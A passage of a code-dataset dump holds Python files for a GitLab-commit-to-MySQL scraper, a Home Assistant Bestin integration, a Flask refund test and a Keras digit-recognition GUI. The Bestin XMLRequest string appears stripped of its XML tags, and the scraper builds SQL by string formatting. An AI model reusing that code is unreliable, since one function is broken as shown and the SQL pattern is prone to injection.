{"api_name": "matplotlib.pyplot.show", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 287, "usage_type": "call"}, {"api_name": "sklearn.linear_model.Lasso", "line_number": 287, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 289, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 289, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 297, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 298, "usage_type": "call"}, {"api_name": "pandas.tseries.holiday.USFederalHolidayCalendar", "line_number": 311, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 313, "usage_type": "call"}, {"api_name": "pandas.datetime", "line_number": 319, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.radians", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.radians", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 321, "usage_type": "attribute"}, {"api_name": "numpy.degrees", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 322, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 326, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 326, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 355, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 362, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 368, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 368, "usage_type": "attribute"}, {"api_name": "numpy.std", "line_number": 369, "usage_type": "call"}, {"api_name": "sklearn.utils.resample", "line_number": 369, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 373, "usage_type": "call"}]} {"seq_id": "67572117", "text": "import requests\nimport re\nimport datetime\nimport time\nfrom src.hw1.catch import const_holder\nfrom src.util.db.DBExecutor import DbUtils\n\n\n\n\n###############\n# 主函数\n\n###############\n\nif __name__ == '__main__':\n print(const_holder.host_url)\n # fetch list of project\n page_pinfo = 0\n # and git_project_id in (157)\n while True:\n select_sql = '''\n SELECT * FROM bi_test.project_primary_info \n where 1 = 1\n order by git_project_id\n limit %d, 10 \n ''' % (page_pinfo * 10)\n res_dicts = const_holder.dbut.fetch_dicts(select_sql)\n if res_dicts is None:\n break\n else:\n for pj_dict in res_dicts:\n project_id = pj_dict['git_project_id']\n # conn to git\n commit_list_page = 1\n while True:\n r1 = requests.get(\n const_holder.url_commits_info % project_id\n # '%s/api/v4/projects/%d/repository/commits?per_page=2000' % (mo_url, i['id'])\n , headers=const_holder.http_header\n , params={\n 'per_page': 100,\n 'page': commit_list_page\n }\n )\n dataCommit = r1.json()\n if len(dataCommit) <= 0:\n break\n for commit_info in dataCommit:\n insert_commit_sql = '''\n INSERT INTO `bi_test`.`project_commits`\n (`project_id`, `short_id`, `commit_id`, `created_at`,\n `parent_ids`, `title`, `message`, `author_name`, `author_email`, \n `authored_date`, `committer_name`, `committer_email`, `committed_date`) \n VALUES \n (\n %d, '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s'\n );\n ''' % (\n project_id,\n const_holder.str_refine(commit_info['short_id']),\n const_holder.str_refine(commit_info['id']),\n const_holder.date_refine(commit_info['created_at']),\n const_holder.str_refine(commit_info['parent_ids']),\n const_holder.str_refine(commit_info['title']),\n const_holder.str_refine(commit_info['message']),\n const_holder.str_refine(commit_info['author_name']),\n const_holder.str_refine(commit_info['author_email']),\n const_holder.date_refine(commit_info['authored_date']),\n const_holder.str_refine(commit_info['committer_name']),\n const_holder.str_refine(commit_info['committer_email']),\n const_holder.date_refine(commit_info['committed_date'])\n )\n print(insert_commit_sql)\n const_holder.dbut.do_execute(insert_commit_sql)\n print(\"commit_list_page : %d\" % commit_list_page)\n commit_list_page += 1\n print(\"##########project_id: %d over ########\" % project_id)\n page_pinfo += 1\n\n print(\"all right %d\" % page_pinfo)\n\n\n", "sub_path": "src/hw1/catch/project_commit_info.py", "file_name": "project_commit_info.py", "file_ext": "py", "file_size_in_byte": 3517, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "src.hw1.catch.const_holder.host_url", "line_number": 17, "usage_type": "attribute"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 17, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.dbut.fetch_dicts", "line_number": 28, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder.dbut", "line_number": 28, "usage_type": "attribute"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 28, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 37, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder.url_commits_info", "line_number": 38, "usage_type": "attribute"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 38, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.http_header", "line_number": 40, "usage_type": "attribute"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 40, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 61, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 61, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 62, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 62, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.date_refine", "line_number": 63, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 63, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 64, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 64, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 65, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 65, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 66, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 66, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 67, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 67, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 68, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 68, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.date_refine", "line_number": 69, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 69, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 70, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 70, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.str_refine", "line_number": 71, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 71, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.date_refine", "line_number": 72, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 72, "usage_type": "name"}, {"api_name": "src.hw1.catch.const_holder.dbut.do_execute", "line_number": 75, "usage_type": "call"}, {"api_name": "src.hw1.catch.const_holder.dbut", "line_number": 75, "usage_type": "attribute"}, {"api_name": "src.hw1.catch.const_holder", "line_number": 75, "usage_type": "name"}]} {"seq_id": "123471292", "text": "\"\"\"BestinTCP Platform\"\"\"\n\nDOMAIN='bestintcp'\n\nimport voluptuous as vol\nfrom homeassistant import const\n\nimport homeassistant.helpers.config_validation as cv\n\nCONFIG_SCHEMA = vol.Schema(\n {\n DOMAIN: vol.Schema({\n vol.Required(const.CONF_HOST): cv.string,\n vol.Required(const.CONF_PORT): cv.positive_int,\n vol.Required('rooms'): cv.string,\n vol.Optional('enable_lights', default=True): cv.boolean,\n vol.Optional('enable_switches', default=True): cv.boolean,\n vol.Optional('enable_thermostats', default=True): cv.boolean,\n vol.Optional('enable_fans', default=True): cv.boolean,\n vol.Optional('enable_gas', default=True): cv.boolean,\n vol.Optional('enable_elevator', default=True): cv.boolean,\n })\n },\n extra=vol.ALLOW_EXTRA,\n)\n\nimport logging\n_LOGGER = logging.getLogger(__name__)\n\ndef setup(haas, config):\n \"\"\"BestinTCP core config\"\"\"\n conf = config[DOMAIN]\n\n btcp = BestinTCP(conf['host'], int(conf['port']))\n\n # Enumerate the rooms\n rooms = []\n for name in conf['rooms'].split():\n rooms.append(BestinRoom(name, btcp))\n\n haas.data[DOMAIN] = {\n 'rooms': rooms,\n 'btcp': btcp,\n }\n\n if conf['enable_lights']:\n haas.helpers.discovery.load_platform('light', DOMAIN, rooms, config)\n if conf['enable_switches']:\n haas.helpers.discovery.load_platform('switch', DOMAIN, rooms, config)\n if conf['enable_thermostats']:\n haas.helpers.discovery.load_platform('climate', DOMAIN, rooms, config)\n\n # haas.helpers.discovery.load_platform('fan', DOMAIN, {}, config)\n # haas.helpers.discovery.load_platform('gas', DOMAIN, {}, config)\n # haas.helpers.discovery.load_platform('elevator', DOMAIN, {}, config)\n\n return True\n\n###############################################################################\n###############################################################################\n###############################################################################\n###############################################################################\n#\n# THESE STUFF BELOW LIVES IN THE FILE bestintcp.py\n#\n# Use 'make' to slurp it in.\n#\n# The reason for these hijinks is because I'm not packaging it separately from\n# the Home Assistant goo, and the custom_components dir isn't part of the\n# import path. Sorry.\n###############################################################################\n###############################################################################\n###############################################################################\n###############################################################################\n# BEGIN bestinctp.py ##########################################################\n#!/usr/bin/python3\n\nimport sys\nimport time\nimport socket\nimport xmltodict\nimport logging\n\n_LOGGER = logging.getLogger(__name__)\n\n# socket.recv buffer size ... thankfully the connection is closed on exit, and\n# I don't have to do something dumb like parse XML to find the end. This is\n# more than big enough for all the RPCs I've sent... but you never know\nREAD_SIZE=4096\n\nclass BestinTCP():\n '''Quick class to encapsulate some of the XML over TCP protocol for the\n Bestin home automation system.\n \n It's only as complete as I needed it to be for Home Assistant integration.'''\n def __init__(self, host, port):\n self.host = host\n self.port = port\n\n def request(self, request):\n _LOGGER.debug('Request --> %s' % request)\n # handle strings as inputs\n try:\n request = request.encode()\n except:\n pass\n\n mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mysocket.connect((self.host, self.port))\n\n mysocket.sendall(request)\n # XXX this will break for big responses\n response = mysocket.recv(READ_SIZE)\n if len(response) == READ_SIZE:\n _LOGGER.critical(\"Possibly incomplete read!\")\n mysocket.close()\n\n # Korean characters in the response ... gotta decode to keep the peace\n try:\n response = response.decode('EUC-KR')\n except:\n pass\n\n _LOGGER.debug('Response <-- %s' % response)\n return response\n\n def XMLRequest(self, reqname, action, dev_num='null', unit_num='null', ctrl_action='null'):\n '''Send an XML request\n\n This is a subset of the true API ... but it's good enough for now'''\n\n request = (''\n f''\n f'\t'\n '\t\t'\n f'\t\t\"{action}\"'\n f'\t\t'\n '\t'\n '')\n return self.request(request)\n\n def ParseXMLResponse(self, response):\n '''Parse an XML response, return an array of resuts on success, or False on failure'''\n # Danger Will Robinson: early returns abound\n if not response:\n return False\n\n try:\n responsedict = xmltodict.parse(response)\n result = responsedict['imap']['service']['@result']\n if result != 'ok':\n _LOGGER.error(\"Failed RPC result: %s\" % responsedict)\n return False\n else:\n return responsedict['imap']['service']['status_info']\n except:\n _LOGGER.critical(\"exeption in result parsing\")\n\n return False\n\n\nclass BestinRoom():\n def __init__(self, name, tcp):\n self.name = name\n self.tcp = tcp\n\n self.lights = {}\n self.fetchLightsStatus()\n self.outlets = {}\n self.fetchOutletsStatus()\n self.heat_status = None\n self.heat_target_temp = None\n self.temperature = None\n self.fetchTemperStatus()\n\n def __repr__(self):\n return (f'BestinRoom(name=\"{self.name}\", '\n f'lights={self.lights}, '\n f'outlets={self.outlets}, '\n f'temperature={self.temperature})')\n\n def _parseBestinSwitchResponse(self, response, outputdict={}):\n '''parse the response, results in return _AND_ passed argument\n outputdict\n \n The protocol uses the same response format for 'status' and 'control'\n actions, so we leech off the output like it's a status call and update\n all of the switches at once.\n '''\n status_info = self.tcp.ParseXMLResponse(response)\n if status_info == False:\n return {}\n\n for x in status_info:\n outputdict[x['@unit_num']] = x['@unit_status']\n\n return outputdict\n\n def _parseBestinTemperResponse(self, response):\n output = (None, None, None)\n status_info = self.tcp.ParseXMLResponse(response)\n if status_info == False:\n return output\n\n output = status_info['@unit_status'].split('/')\n return output\n\n def _livinglightswizzle(self):\n reqname = 'remote_access_light'\n devnum = self.name\n if self.name == 'living':\n reqname = 'remote_access_livinglight'\n devnum = 1\n return (reqname, devnum)\n\n def isLightOn(self, name):\n return self.lights[name] == 'on'\n\n def fetchLightsStatus(self):\n reqname, dev_num = self._livinglightswizzle()\n\n response = self.tcp.XMLRequest(reqname, 'status', dev_num=dev_num)\n self._parseBestinSwitchResponse(response, self.lights)\n\n def setLightStatus(self, unit_num, ctrl_action):\n assert(ctrl_action in ('on', 'off'))\n assert(unit_num in self.lights)\n\n reqname, dev_num = self._livinglightswizzle()\n response = self.tcp.XMLRequest(reqname, 'control', dev_num=dev_num, unit_num=unit_num, ctrl_action=ctrl_action)\n self._parseBestinSwitchResponse(response, self.lights)\n\n def fetchOutletsStatus(self):\n response = self.tcp.XMLRequest('remote_access_electric', 'status', dev_num=self.name)\n self._parseBestinSwitchResponse(response, self.outlets)\n\n def setOutletStatus(self, unit_num, ctrl_action):\n assert(ctrl_action in ('on', 'off'))\n assert(unit_num in self.outlets)\n\n response = self.tcp.XMLRequest('remote_access_electric', 'control', dev_num=self.name, unit_num=unit_num, ctrl_action=ctrl_action)\n self._parseBestinSwitchResponse(response, self.outlets)\n\n def isOutletOn(self, name):\n # TODO: state is usually unset/on or unset/off. What's unset? eco mode?\n if name not in self.outlets.keys():\n _LOGGER.error(\"outlet %s not in room %s\" % (name, self))\n return False\n state = self.outlets[name].split('/')\n return state[1] == 'on'\n\n def fetchTemperStatus(self):\n response = self.tcp.XMLRequest('remote_access_temper', 'status', dev_num='1', unit_num=f\"room{self.name}\", ctrl_action='')\n temps = self._parseBestinTemperResponse(response)\n self.heat_status = temps[0]\n self.heat_target_temp = temps[1]\n self.temperature = temps[2]\n\n def setTemperStatus(self, onoff, temperature=None):\n assert(onoff in ('on', 'off'))\n if not temperature:\n temperature = self.heat_target_temp\n response = self.tcp.XMLRequest('remote_access_temper', 'control', dev_num='1', unit_num=f\"room{self.name}\", ctrl_action=f\"{onoff}/{temperature}\")\n temps = self._parseBestinTemperResponse(response)\n self.heat_status = temps[0]\n self.heat_target_temp = temps[1]\n self.temperature = temps[2]\n\n def isTemperOn(self):\n return self.heat_status == \"on\"\n\n\nif __name__ == '__main__':\n import ipdb\n _LOGGER.setLevel(logging.DEBUG)\n handler = logging.StreamHandler(sys.stdout)\n handler.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n handler.setFormatter(formatter)\n _LOGGER.addHandler(handler)\n\n h = BestinTCP('192.168.50.200', 10000)\n\n rooms = [\n BestinRoom('living', h),\n BestinRoom(1, h),\n #BestinRoom(2, h),\n #BestinRoom(3, h),\n #BestinRoom(4, h),\n #BestinRoom(5, h)\n ]\n\n for room in rooms:\n print(room)\n\n ipdb.set_trace()\n", "sub_path": "__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 10497, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "voluptuous.Schema", "line_number": 10, "usage_type": "call"}, {"api_name": "voluptuous.Schema", "line_number": 12, "usage_type": "call"}, {"api_name": "voluptuous.Required", "line_number": 13, "usage_type": "call"}, {"api_name": "homeassistant.const.CONF_HOST", "line_number": 13, "usage_type": "attribute"}, {"api_name": "homeassistant.const", "line_number": 13, "usage_type": "name"}, {"api_name": "voluptuous.Required", "line_number": 14, "usage_type": "call"}, {"api_name": "homeassistant.const.CONF_PORT", "line_number": 14, "usage_type": "attribute"}, {"api_name": "homeassistant.const", "line_number": 14, "usage_type": "name"}, {"api_name": "voluptuous.Required", "line_number": 15, "usage_type": "call"}, {"api_name": "voluptuous.Optional", "line_number": 16, "usage_type": "call"}, {"api_name": "voluptuous.Optional", "line_number": 17, "usage_type": "call"}, {"api_name": "voluptuous.Optional", "line_number": 18, "usage_type": "call"}, {"api_name": "voluptuous.Optional", "line_number": 19, "usage_type": "call"}, {"api_name": "voluptuous.Optional", "line_number": 20, "usage_type": "call"}, {"api_name": "voluptuous.Optional", "line_number": 21, "usage_type": "call"}, {"api_name": "homeassistant.helpers.config_validation.string", "line_number": 13, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 13, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.positive_int", "line_number": 14, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 14, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.string", "line_number": 15, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 15, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.boolean", "line_number": 16, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 16, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.boolean", "line_number": 17, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 17, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.boolean", "line_number": 18, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 18, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.boolean", "line_number": 19, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 19, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.boolean", "line_number": 20, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 20, "usage_type": "name"}, {"api_name": "homeassistant.helpers.config_validation.boolean", "line_number": 21, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.config_validation", "line_number": 21, "usage_type": "name"}, {"api_name": "voluptuous.ALLOW_EXTRA", "line_number": 24, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 84, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 108, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 108, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 108, "usage_type": "attribute"}, {"api_name": "xmltodict.parse", "line_number": 149, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 275, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 276, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 276, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 277, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 278, "usage_type": "call"}, {"api_name": "ipdb.set_trace", "line_number": 296, "usage_type": "call"}]} {"seq_id": "283837077", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n__author__ = 'g3n35i5'\n\nimport shopdb.exceptions as exc\nfrom tests.base_api import BaseAPITestCase\nfrom flask import json\n\n\nclass GetRefundsAPITestCase(BaseAPITestCase):\n\n def test_get_refunds_as_admin(self):\n \"\"\"Test for geting a single refund\"\"\"\n # Do 5 refunds\n self.insert_default_refunds()\n res = self.get(url='/refunds/2', role='admin')\n self.assertEqual(res.status_code, 200)\n refund = json.loads(res.data)\n self.assertEqual(refund['id'], 2)\n self.assertEqual(refund['user_id'], 2)\n self.assertEqual(refund['total_price'], 200)\n self.assertFalse(refund['revoked'])\n\n required = ['id', 'timestamp', 'user_id', 'total_price', 'comment',\n 'revoked', 'revokehistory']\n assert all(x in refund for x in required)\n\n def test_get_non_existing_refund(self):\n \"\"\"Getting a non existing refund should raise an exception\"\"\"\n self.insert_default_refunds()\n res = self.get(url='/refunds/6', role='admin')\n self.assertEqual(res.status_code, 401)\n self.assertException(res, exc.EntryNotFound)\n", "sub_path": "tests/test_api_get_refund.py", "file_name": "test_api_get_refund.py", "file_ext": "py", "file_size_in_byte": 1175, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tests.base_api.BaseAPITestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.json.loads", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 18, "usage_type": "name"}, {"api_name": "shopdb.exceptions.EntryNotFound", "line_number": 33, "usage_type": "attribute"}, {"api_name": "shopdb.exceptions", "line_number": 33, "usage_type": "name"}]} {"seq_id": "624130406", "text": "'''\r\nA GUI Application that lets you draw with your mouse on a canvas and predict\r\nthe digits using a Pre-Trained CNN model.\r\nFor training the model refer to the IPython notebook\r\n\r\n'''\r\n#libraries\r\nimport tkinter as tk\r\nimport tkinter.filedialog as filedialog\r\nfrom PIL import ImageGrab ,ImageTk, Image\r\nimport numpy as np\r\nimport cv2\r\nimport win32gui\r\nfrom keras.models import load_model\r\n\r\n\r\n# loading the model\r\nmodel = load_model(r'C:\\Users\\panka\\Study\\Machine Learning\\Digit Recognition GUI\\model.h5')\r\n\r\ndef predict_digit(filename):\r\n\r\n # opening the image and converting it fit for input in model\r\n image = cv2.imread(filename)\r\n grey = cv2.cvtColor(image.copy(), cv2.COLOR_BGR2GRAY)\r\n ret, th = cv2.threshold(grey.copy(), 75, 255, cv2.THRESH_BINARY_INV)\r\n contours, _ = cv2.findContours(th.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n for cnt in contours:\r\n x, y, w, h = cv2.boundingRect(cnt)\r\n # Create rectangle\r\n cv2.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), thickness=2)\r\n digit = th[y:y + h, x:x + w]\r\n\r\n # Resizing that digit to (18, 18)\r\n resized_digit = cv2.resize(digit, (18, 18))\r\n\r\n # Padding the digit with 5 pixels of black color (zeros) in each side to \r\n #finally produce the image of (28, 28)\r\n padded_digit = np.pad(resized_digit, ((5, 5), (5, 5)), \"constant\", constant_values=0)\r\n\r\n # sending the padded digit to model and prediciting\r\n prediction = model.predict(padded_digit.reshape(1, 28, 28, 1))\r\n #writing prediciton on image\r\n data = \"Pred = \" + str(np.argmax(prediction))\r\n #print(data)\r\n font = cv2.FONT_HERSHEY_SIMPLEX\r\n fontScale = 0.5\r\n color = (0, 0, 0)\r\n thickness = 1\r\n cv2.putText(image, data, (x, y - 5), font, fontScale, color, thickness)\r\n #resizing & saving the final image\r\n image = cv2.resize(image,(800,600))\r\n cv2.imwrite('predict.png', image)\r\n\r\nclass App(tk.Tk):\r\n def __init__(self):\r\n tk.Tk.__init__(self)\r\n self.lastx = self.lasty = None\r\n self.x = self.y = 0\r\n #self.geometry(\"820x690\")\r\n self.resizable(0,0)\r\n #self.resizable(width = True, height = True)\r\n self.title(\"Handwriiten Digit Recognition GUI\")\r\n\r\n\r\n # Creating elements\r\n self.canvas = tk.Canvas(self, width=800, height=600, bg=\"white\", borderwidth=5)\r\n self.classify_btn = tk.Button(self, text=\"Recognise\", command=self.classify_handwriting,\r\n bg='deep sky blue')\r\n self.classify_btn.config(font=('helvetica', 14, 'bold'))\r\n self.button_clear = tk.Button(self, text=\"Clear\", command=self.clear_all,\r\n bg='deep sky blue')\r\n self.button_clear.config(font=('helvetica', 14, 'bold'))\r\n self.openfile = tk.Button(self, text=\"Open A File\", command=self.open_file,\r\n bg='deep sky blue')\r\n self.openfile.config(font=('helvetica', 14, 'bold'))\r\n\r\n\r\n # Grid structure\r\n self.canvas.grid(row=0, column=0, pady=2, sticky=tk.W, columnspan=3)\r\n self.classify_btn.grid(row=1, column=0, pady=2, padx=2,columnspan=2)\r\n self.button_clear.grid(row=1, column=2, pady=2, padx =2,columnspan =2)\r\n self.openfile.grid(row=1, column=4, pady=2, padx =2)\r\n self.canvas.bind(\"\", self.activate_event)\r\n \r\n img = Image.open(\"First.jpg\")\r\n # PhotoImage class is used to add image to widgets, icons etc\r\n img = ImageTk.PhotoImage(img)\r\n \r\n # create a label\r\n panel = tk.Label(self, image = img)\r\n \r\n # set the image as img \r\n panel.image = img\r\n panel.grid(row=0, column=3,columnspan = 3)\r\n\r\n def clear_all(self):\r\n #clear button\r\n self.canvas.delete(\"all\")\r\n #reset the output screen\r\n img = Image.open(\"First.jpg\")\r\n \r\n # PhotoImage class is used to add image to widgets, icons etc\r\n img = ImageTk.PhotoImage(img)\r\n \r\n # create a label\r\n panel = tk.Label(self, image = img)\r\n \r\n # set the image as img \r\n panel.image = img\r\n panel.grid(row=0, column=3,columnspan = 3)\r\n def open_file(self):\r\n file_path = filedialog.askopenfilename()\r\n predict_digit(file_path)\r\n img = Image.open('predict.png')\r\n # PhotoImage class is used to add image to widgets, icons etc\r\n img = ImageTk.PhotoImage(img)\r\n panel = tk.Label(self, image = img)\r\n # set the image as img \r\n panel.image = img\r\n panel.grid(row=0, column=3,columnspan = 3)\r\n \r\n def classify_handwriting(self):\r\n HWND = self.canvas.winfo_id() # get the handle of the canvas\r\n rect = win32gui.GetWindowRect(HWND) # get the coordinate of the canvas\r\n ImageGrab.grab(rect).save('test.png') # taking ss of canvas\r\n\r\n predict_digit(\"test.png\") \r\n # opens the output image\r\n img = Image.open('predict.png')\r\n # PhotoImage class is used to add image to widgets, icons etc\r\n img = ImageTk.PhotoImage(img)\r\n \r\n panel = tk.Label(self, image = img)\r\n # set the image as img \r\n panel.image = img\r\n panel.grid(row=0, column=3,columnspan = 3)\r\n\r\n def activate_event(self, event):\r\n self.canvas.bind('', self.draw_lines)\r\n self.lastx, self.lasty = event.x, event.y\r\n\r\n def draw_lines(self, event):\r\n self.x = event.x\r\n self.y = event.y\r\n self.canvas.create_line((self.lastx, self.lasty, self.x, self.y), width=8, fill='black',\r\n capstyle=tk.ROUND, smooth=tk.TRUE, splinesteps=12)\r\n self.lastx, self.lasty = self.x, self.y\r\n\r\n\r\napp = App()\r\ntk.mainloop()\r\n", "sub_path": "GUI.py", "file_name": "GUI.py", "file_ext": "py", "file_size_in_byte": 5857, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "keras.models.load_model", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 45, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 52, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 54, "usage_type": "attribute"}, {"api_name": "tkinter.Tk.__init__", "line_number": 56, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tkinter.Canvas", "line_number": 66, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 67, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 70, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 73, "usage_type": "call"}, {"api_name": "tkinter.W", "line_number": 79, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 85, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 85, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 87, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 87, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 90, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 100, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 100, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 103, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 103, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 106, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 112, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 112, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 114, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 114, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 116, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 116, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 117, 